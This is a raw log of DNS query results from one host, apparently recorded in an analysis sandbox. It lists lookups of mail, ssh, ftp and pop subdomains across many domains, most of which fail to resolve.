Dec 20, 2023 03:13:25.942797899 CET	1.1.1.1	192.168.2.4	0xf7f0	Name error (3)	ssh.a4f53bcfebc986c4.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.002790928 CET	1.1.1.1	192.168.2.4	0x84d9	Name error (3)	ftp.alnajah.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.022856951 CET	1.1.1.1	192.168.2.4	0x450	Name error (3)	mail.rmckenna.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.043555021 CET	1.1.1.1	192.168.2.4	0x7306	Name error (3)	yjroeown.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.050528049 CET	1.1.1.1	192.168.2.4	0x7061	Name error (3)	ssh.sgeg-usa.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.052345037 CET	1.1.1.1	192.168.2.4	0x25ac	Name error (3)	ftp.bsboil.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.131973982 CET	1.1.1.1	192.168.2.4	0x2f19	Name error (3)	mail.dlirfo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.155827045 CET	1.1.1.1	192.168.2.4	0x9122	Name error (3)	mail.lum-gaming.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.161467075 CET	1.1.1.1	192.168.2.4	0x318b	Name error (3)	mail.shopeeten.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.165838003 CET	1.1.1.1	192.168.2.4	0x9f8d	Name error (3)	mail.nothingbutmiraclesphotography.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.190959930 CET	1.1.1.1	192.168.2.4	0x734d	Name error (3)	mail.njbkrl.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.201703072 CET	1.1.1.1	192.168.2.4	0xcf31	No error (0)	www.mgbymags.com		185.103.16.167	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.242532015 CET	1.1.1.1	192.168.2.4	0xee14	Name error (3)	ssh.yjprwlto.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.249993086 CET	1.1.1.1	192.168.2.4	0xc6e	Name error (3)	ssh.leuadxqqqn.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.250884056 CET	1.1.1.1	192.168.2.4	0x9830	Name error (3)	mail.x-woofer.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.251697063 CET	1.1.1.1	192.168.2.4	0xbdbf	Name error (3)	ssh.churchofscientology.orguk	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.271234989 CET	1.1.1.1	192.168.2.4	0x2e3b	Name error (3)	ftp.yjroeown.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.394186974 CET	1.1.1.1	192.168.2.4	0x5275	Name error (3)	mail.dfc.nettw	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.422287941 CET	1.1.1.1	192.168.2.4	0x5cff	Name error (3)	mail.bsboil.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.423418999 CET	1.1.1.1	192.168.2.4	0xe5de	Name error (3)	mail.zhelen.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.424388885 CET	1.1.1.1	192.168.2.4	0xca92	Name error (3)	mail.4ku9ipwefstyxr.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.449703932 CET	1.1.1.1	192.168.2.4	0xc55e	Name error (3)	mail.ilovetechno.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.451222897 CET	1.1.1.1	192.168.2.4	0x2b14	No error (0)	www.tgcan.co.uk		217.19.254.237	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.453638077 CET	1.1.1.1	192.168.2.4	0x4aac	Name error (3)	mail.youre.a.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.459073067 CET	1.1.1.1	192.168.2.4	0x61ad	Name error (3)	mail.curtisoutland.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.789311886 CET	1.1.1.1	192.168.2.4	0x398d	Name error (3)	ssh.nationwide-claims.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.794737101 CET	1.1.1.1	192.168.2.4	0x79a7	Name error (3)	ssh.jcdnc.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.801026106 CET	1.1.1.1	192.168.2.4	0xa9d8	Name error (3)	ssh.radiomaria.orgar	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.818631887 CET	1.1.1.1	192.168.2.4	0x8443	Name error (3)	mail.dekoracio.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.821185112 CET	1.1.1.1	192.168.2.4	0xa2f0	Name error (3)	mail.alnajah.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.828852892 CET	1.1.1.1	192.168.2.4	0x8d38	Name error (3)	ssh.cummingscreativegroup.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.834203959 CET	1.1.1.1	192.168.2.4	0xad7f	Name error (3)	ssh.yokohamaichigoichie.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.860261917 CET	1.1.1.1	192.168.2.4	0xc730	Name error (3)	ssh.8d560e557e715856.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.875973940 CET	1.1.1.1	192.168.2.4	0x8c3e	Name error (3)	ssh.ba02867e18351c89.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.898142099 CET	1.1.1.1	192.168.2.4	0x2b29	Name error (3)	ssh.floridasun.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.926609993 CET	1.1.1.1	192.168.2.4	0x3155	Name error (3)	ssh.crayzrocker.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.952320099 CET	1.1.1.1	192.168.2.4	0x9df	Name error (3)	ssh.janicearies.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.959871054 CET	1.1.1.1	192.168.2.4	0xd0a2	Name error (3)	ssh.nothingbutmiraclesphotography.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.961289883 CET	1.1.1.1	192.168.2.4	0xab9c	Name error (3)	ssh.vaoypo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.963036060 CET	1.1.1.1	192.168.2.4	0x22a6	Name error (3)	ssh.8f7940a0023aab5c.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.979336023 CET	1.1.1.1	192.168.2.4	0x21f1	Name error (3)	ssh.calebandersondesigns.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.987850904 CET	1.1.1.1	192.168.2.4	0x66bc	Name error (3)	mail.clsunlimited.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.990066051 CET	1.1.1.1	192.168.2.4	0x9e38	Name error (3)	ssh.habbocentral.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.993176937 CET	1.1.1.1	192.168.2.4	0xad14	Name error (3)	ssh.lum-gaming.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.998213053 CET	1.1.1.1	192.168.2.4	0xf8af	Name error (3)	ssh.9ef1e72a04361055.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.015295029 CET	1.1.1.1	192.168.2.4	0x9030	Name error (3)	ssh.rmckenna.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.016222000 CET	1.1.1.1	192.168.2.4	0x2651	Name error (3)	ssh.woldsweather.plus.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.016625881 CET	1.1.1.1	192.168.2.4	0x48e2	Name error (3)	mail.fzdwiq.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.025487900 CET	1.1.1.1	192.168.2.4	0x29f6	Name error (3)	ssh.dlirfo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.055476904 CET	1.1.1.1	192.168.2.4	0xce22	Name error (3)	ssh.dm.famm.us	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.076662064 CET	1.1.1.1	192.168.2.4	0xae84	No error (0)	ftp.copyset.com		69.20.103.147	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.186775923 CET	1.1.1.1	192.168.2.4	0x97de	Name error (3)	mail.yjroeown.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.196139097 CET	1.1.1.1	192.168.2.4	0x711	Name error (3)	ftp.orangutech.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.209603071 CET	1.1.1.1	192.168.2.4	0xb1c4	Name error (3)	mail.justhelpthyself.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.233572960 CET	1.1.1.1	192.168.2.4	0xe2e6	Name error (3)	ssh.remafer.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.263927937 CET	1.1.1.1	192.168.2.4	0xdd91	Name error (3)	ssh.shopeeten.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.268882990 CET	1.1.1.1	192.168.2.4	0x9ba0	Name error (3)	ssh.justhelpthyself.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.271927118 CET	1.1.1.1	192.168.2.4	0xfb68	Name error (3)	ssh.gatewayseweranddrain.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.287008047 CET	1.1.1.1	192.168.2.4	0xe514	Name error (3)	ssh.dfc.nettw	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.302335978 CET	1.1.1.1	192.168.2.4	0xc027	No error (0)	ftp.bookmyrace.com		103.20.214.243	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.330638885 CET	1.1.1.1	192.168.2.4	0xb4f0	Name error (3)	ssh.4ku9ipwefstyxr.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.350944042 CET	1.1.1.1	192.168.2.4	0xd8d0	Name error (3)	ssh.clsunlimited.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.394931078 CET	1.1.1.1	192.168.2.4	0x7ce	Name error (3)	ftp.ornos.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.398272038 CET	1.1.1.1	192.168.2.4	0x884c	Name error (3)	ftp.centurylaboratories.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.398283005 CET	1.1.1.1	192.168.2.4	0xdf7b	Name error (3)	ftp.collinsgordonhenry.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.425575018 CET	1.1.1.1	192.168.2.4	0x800	No error (0)	ww1.recipe-for-kids.com	sedoparking.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 03:13:27.425575018 CET	1.1.1.1	192.168.2.4	0x800	No error (0)	sedoparking.com		64.190.63.136	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.432862043 CET	1.1.1.1	192.168.2.4	0x14e4	No error (0)	ftp.activegraphics.com		108.163.227.170	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.457310915 CET	1.1.1.1	192.168.2.4	0x3021	Name error (3)	ftp.mobiamericas.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.464807987 CET	1.1.1.1	192.168.2.4	0xe0af	No error (0)	ftp.directservbms.com		154.209.61.218	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.507570028 CET	1.1.1.1	192.168.2.4	0x630d	No error (0)	ftp.tiltdesign.com		205.178.187.24	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.525568962 CET	1.1.1.1	192.168.2.4	0xe23c	No error (0)	ftp.rosetre.com	rosetre.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 03:13:27.525568962 CET	1.1.1.1	192.168.2.4	0xe23c	No error (0)	rosetre.com		198.185.159.144	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.525568962 CET	1.1.1.1	192.168.2.4	0xe23c	No error (0)	rosetre.com		198.185.159.145	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.525568962 CET	1.1.1.1	192.168.2.4	0xe23c	No error (0)	rosetre.com		198.49.23.144	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.525568962 CET	1.1.1.1	192.168.2.4	0xe23c	No error (0)	rosetre.com		198.49.23.145	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.533027887 CET	1.1.1.1	192.168.2.4	0x780f	No error (0)	ftp.choctawcasino.com		199.59.243.225	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.540352106 CET	1.1.1.1	192.168.2.4	0xefc4	Name error (3)	ftp.ontariobluejays.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.541979074 CET	1.1.1.1	192.168.2.4	0x8814	Name error (3)	ftp.plastikolor.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.547909021 CET	1.1.1.1	192.168.2.4	0x7206	Name error (3)	ssh.curtisoutland.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.554687977 CET	1.1.1.1	192.168.2.4	0x7d09	Name error (3)	ssh.sachem.com.ar	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.555727005 CET	1.1.1.1	192.168.2.4	0xf887	Name error (3)	ssh.x-woofer.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.569207907 CET	1.1.1.1	192.168.2.4	0x88a0	Name error (3)	ssh.youre.a.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.569300890 CET	1.1.1.1	192.168.2.4	0xfc12	Name error (3)	ssh.ccs1.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.578640938 CET	1.1.1.1	192.168.2.4	0xfa0c	Name error (3)	ssh.fzdwiq.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.589404106 CET	1.1.1.1	192.168.2.4	0xf0d5	Name error (3)	ssh.zhelen.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.630621910 CET	1.1.1.1	192.168.2.4	0x2ed2	Name error (3)	ssh.njbkrl.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.671245098 CET	1.1.1.1	192.168.2.4	0xdba6	Name error (3)	ssh.ilovetechno.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.680397034 CET	1.1.1.1	192.168.2.4	0x5e8e	Name error (3)	ssh.dekoracio.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.705280066 CET	1.1.1.1	192.168.2.4	0xffb5	Name error (3)	ssh.bsboil.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.720710039 CET	1.1.1.1	192.168.2.4	0x92e3	No error (0)	ftp.london.com.tr		95.173.180.22	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.747837067 CET	1.1.1.1	192.168.2.4	0xec69	Name error (3)	ssh.cyadp.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.837388992 CET	1.1.1.1	192.168.2.4	0xec67	No error (0)	ftp.a2b-internet.com	a2b-internet.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 03:13:27.837388992 CET	1.1.1.1	192.168.2.4	0xec67	No error (0)	a2b-internet.com		83.98.155.23	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.862551928 CET	1.1.1.1	192.168.2.4	0x7f31	Name error (3)	ssh.alnajah.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.918963909 CET	1.1.1.1	192.168.2.4	0x3c19	Name error (3)	ftp.newriverclimbing.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.932898998 CET	1.1.1.1	192.168.2.4	0xf1ac	No error (0)	ftp.sadowsky.webatu.com		153.92.0.100	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.987688065 CET	1.1.1.1	192.168.2.4	0x6fa0	Name error (3)	ssh.nicsonsconcrete.com.au	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:28.127477884 CET	1.1.1.1	192.168.2.4	0x6374	Name error (3)	lsmnutrition-com.mail.protection.outlook.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:28.140090942 CET	1.1.1.1	192.168.2.4	0xc5a2	Name error (3)	ftp.rehau.com.mk	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:28.204159021 CET	1.1.1.1	192.168.2.4	0x3890	No error (0)	ftp.dako.netai.net		153.92.0.100	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:28.216731071 CET	1.1.1.1	192.168.2.4	0xa68d	No error (0)	account.lenderhomepage.com		35.83.116.2	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:28.216731071 CET	1.1.1.1	192.168.2.4	0xa68d	No error (0)	account.lenderhomepage.com		35.83.61.207	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:28.216731071 CET	1.1.1.1	192.168.2.4	0xa68d	No error (0)	account.lenderhomepage.com		35.166.195.161	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:28.222933054 CET	1.1.1.1	192.168.2.4	0xb676	Name error (3)	pop.churchofscientology.orguk	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:28.263869047 CET	1.1.1.1	192.168.2.4	0xbd03	Name error (3)	ssh.yjroeown.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:28.984262943 CET	1.1.1.1	192.168.2.4	0x237b	Name error (3)	radiomaria.orgar	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.000336885 CET	1.1.1.1	192.168.2.4	0x2667	Name error (3)	pop.sgeg-usa.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.013353109 CET	1.1.1.1	192.168.2.4	0xc16a	Name error (3)	pop.leuadxqqqn.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.014940977 CET	1.1.1.1	192.168.2.4	0x3c8	Name error (3)	a4f53bcfebc986c4.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.023690939 CET	1.1.1.1	192.168.2.4	0x6d88	Name error (3)	yokohamaichigoichie.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.024193048 CET	1.1.1.1	192.168.2.4	0x97ed	Name error (3)	nationwide-claims.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.025480986 CET	1.1.1.1	192.168.2.4	0x75c8	Name error (3)	8d560e557e715856.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.043689966 CET	1.1.1.1	192.168.2.4	0x60ef	Name error (3)	calebandersondesigns.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.049503088 CET	1.1.1.1	192.168.2.4	0x6149	Name error (3)	habbocentral.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.049555063 CET	1.1.1.1	192.168.2.4	0x7d9c	Name error (3)	ba02867e18351c89.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.060384989 CET	1.1.1.1	192.168.2.4	0xc2ca	Name error (3)	9ef1e72a04361055.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.072299957 CET	1.1.1.1	192.168.2.4	0xa69a	Name error (3)	pop.cummingscreativegroup.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.075983047 CET	1.1.1.1	192.168.2.4	0x8e25	Name error (3)	pop.crayzrocker.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.079083920 CET	1.1.1.1	192.168.2.4	0xec44	Name error (3)	pop.radiomaria.orgar	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.101941109 CET	1.1.1.1	192.168.2.4	0xf152	Name error (3)	pop.nationwide-claims.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.139986038 CET	1.1.1.1	192.168.2.4	0xf3e6	Name error (3)	pop.8d560e557e715856.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.149502039 CET	1.1.1.1	192.168.2.4	0x80c9	Name error (3)	janicearies.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.177213907 CET	1.1.1.1	192.168.2.4	0x280c	Name error (3)	mail.churchofscientology.orguk	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.195413113 CET	1.1.1.1	192.168.2.4	0x8894	Name error (3)	pop.ba02867e18351c89.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.201740980 CET	1.1.1.1	192.168.2.4	0xd18f	Name error (3)	pop.remafer.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.209403992 CET	1.1.1.1	192.168.2.4	0xe1fd	Name error (3)	pop.calebandersondesigns.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.209618092 CET	1.1.1.1	192.168.2.4	0x6f03	Name error (3)	pop.8f7940a0023aab5c.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.213956118 CET	1.1.1.1	192.168.2.4	0x7bcd	Name error (3)	pop.floridasun.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.229782104 CET	1.1.1.1	192.168.2.4	0x19dd	Name error (3)	pop.9ef1e72a04361055.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.236227036 CET	1.1.1.1	192.168.2.4	0x9911	Name error (3)	pop.janicearies.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.238687992 CET	1.1.1.1	192.168.2.4	0x9af5	Name error (3)	pop.habbocentral.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.241348982 CET	1.1.1.1	192.168.2.4	0x8b33	Name error (3)	pop.yokohamaichigoichie.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.244216919 CET	1.1.1.1	192.168.2.4	0xa35c	Name error (3)	pop.a4f53bcfebc986c4.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.245779991 CET	1.1.1.1	192.168.2.4	0x72c4	Name error (3)	8f7940a0023aab5c.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.249531984 CET	1.1.1.1	192.168.2.4	0x3f29	Name error (3)	pop.vaoypo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.356479883 CET	1.1.1.1	192.168.2.4	0xe3b8	Name error (3)	pop.gatewayseweranddrain.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.408735037 CET	1.1.1.1	192.168.2.4	0xa633	Name error (3)	pop.rmckenna.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.421714067 CET	1.1.1.1	192.168.2.4	0x5c13	Name error (3)	pop.dm.famm.us	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.512150049 CET	1.1.1.1	192.168.2.4	0xbbf8	Name error (3)	pop.sachem.com.ar	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.572510004 CET	1.1.1.1	192.168.2.4	0xef49	Name error (3)	pop.njbkrl.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.577172995 CET	1.1.1.1	192.168.2.4	0x693e	Name error (3)	pop.shopeeten.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.579853058 CET	1.1.1.1	192.168.2.4	0x5c08	Name error (3)	pop.x-woofer.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.627269983 CET	1.1.1.1	192.168.2.4	0xec07	Name error (3)	mail.radiomaria.orgar	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.641156912 CET	1.1.1.1	192.168.2.4	0x3f21	Name error (3)	fzdwiq.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.646199942 CET	1.1.1.1	192.168.2.4	0xfecb	Name error (3)	mail.8f7940a0023aab5c.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.649245024 CET	1.1.1.1	192.168.2.4	0x4ac1	Name error (3)	mail.jcdnc.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.650875092 CET	1.1.1.1	192.168.2.4	0x89bd	Name error (3)	mail.dm.famm.us	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.672512054 CET	1.1.1.1	192.168.2.4	0x822d	No error (0)	micresearch-net.mail.protection.outlook.com		52.101.132.28	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.672512054 CET	1.1.1.1	192.168.2.4	0x822d	No error (0)	micresearch-net.mail.protection.outlook.com		52.101.137.0	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.672512054 CET	1.1.1.1	192.168.2.4	0x822d	No error (0)	micresearch-net.mail.protection.outlook.com		52.101.132.30	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.672512054 CET	1.1.1.1	192.168.2.4	0x822d	No error (0)	micresearch-net.mail.protection.outlook.com		52.101.137.2	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.673425913 CET	1.1.1.1	192.168.2.4	0x9cb0	Name error (3)	cummingscreativegroup.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.676034927 CET	1.1.1.1	192.168.2.4	0x6207	Name error (3)	clsunlimited.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.686012983 CET	1.1.1.1	192.168.2.4	0x72d8	Name error (3)	nothingbutmiraclesphotography.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.724761009 CET	1.1.1.1	192.168.2.4	0xd399	Name error (3)	mail.ba02867e18351c89.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.741993904 CET	1.1.1.1	192.168.2.4	0x3d93	Name error (3)	mail.vaoypo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.934364080 CET	1.1.1.1	192.168.2.4	0xf814	Name error (3)	vaoypo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.935245991 CET	1.1.1.1	192.168.2.4	0x4b0b	Name error (3)	mail.sachem.com.ar	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.941450119 CET	1.1.1.1	192.168.2.4	0x8ce4	Name error (3)	mail.remafer.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.975234985 CET	1.1.1.1	192.168.2.4	0xc6ff	Name error (3)	churchofscientology.orguk	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.976208925 CET	1.1.1.1	192.168.2.4	0xcd30	Name error (3)	remafer.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.996790886 CET	1.1.1.1	192.168.2.4	0xb9b0	No error (0)	greenlawnfertilizing-com.mail.protection.outlook.com		52.101.9.17	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.996790886 CET	1.1.1.1	192.168.2.4	0xb9b0	No error (0)	greenlawnfertilizing-com.mail.protection.outlook.com		52.101.42.4	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.996790886 CET	1.1.1.1	192.168.2.4	0xb9b0	No error (0)	greenlawnfertilizing-com.mail.protection.outlook.com		52.101.42.13	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.996790886 CET	1.1.1.1	192.168.2.4	0xb9b0	No error (0)	greenlawnfertilizing-com.mail.protection.outlook.com		52.101.11.10	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.996790886 CET	1.1.1.1	192.168.2.4	0xb9b0	No error (0)	greenlawnfertilizing-com.mail.protection.outlook.com		52.101.11.3	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.996790886 CET	1.1.1.1	192.168.2.4	0xb9b0	No error (0)	greenlawnfertilizing-com.mail.protection.outlook.com		52.101.9.2	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.088227034 CET	1.1.1.1	192.168.2.4	0x6576	No error (0)	cgi-sys.server294.com		192.252.146.15	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.129440069 CET	1.1.1.1	192.168.2.4	0x584a	Name error (3)	mobiamericas-com.mail.protection.outlook.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.204283953 CET	1.1.1.1	192.168.2.4	0xbdb9	Name error (3)	mail.9ef1e72a04361055.com	none	none	A (IP address)	IN (0x0001)	false
